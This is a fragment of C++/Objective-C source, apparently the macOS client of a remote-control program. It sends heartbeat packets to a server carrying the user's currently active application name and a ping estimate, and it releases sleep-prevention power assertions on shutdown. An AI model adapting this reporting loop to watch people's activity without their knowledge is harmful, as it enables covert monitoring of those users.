> 30) { ClientObject->Disconnect(); break; } // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) std::string activity = getActiveApp(); Heartbeat hb; hb.Time = GetUnixMs(); hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒 strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1); BYTE buf[sizeof(Heartbeat) + 1]; buf[0] = TOKEN_HEARTBEAT; memcpy(buf + 1, &hb, sizeof(Heartbeat)); ClientObject->Send2Server((char*)buf, sizeof(buf)); } } NSLog(@"Shutting down..."); // Release power assertions if (sleepAssertionID) { IOPMAssertionRelease(sleepAssertionID); NSLog(@"Released sleep assertion"); } // Display assertion is managed by ScreenHandler (released in stop()) // powerActivity is automatically released when exiting @autoreleasepool (void)powerActivity; // Suppress unused variable warning } return 0; }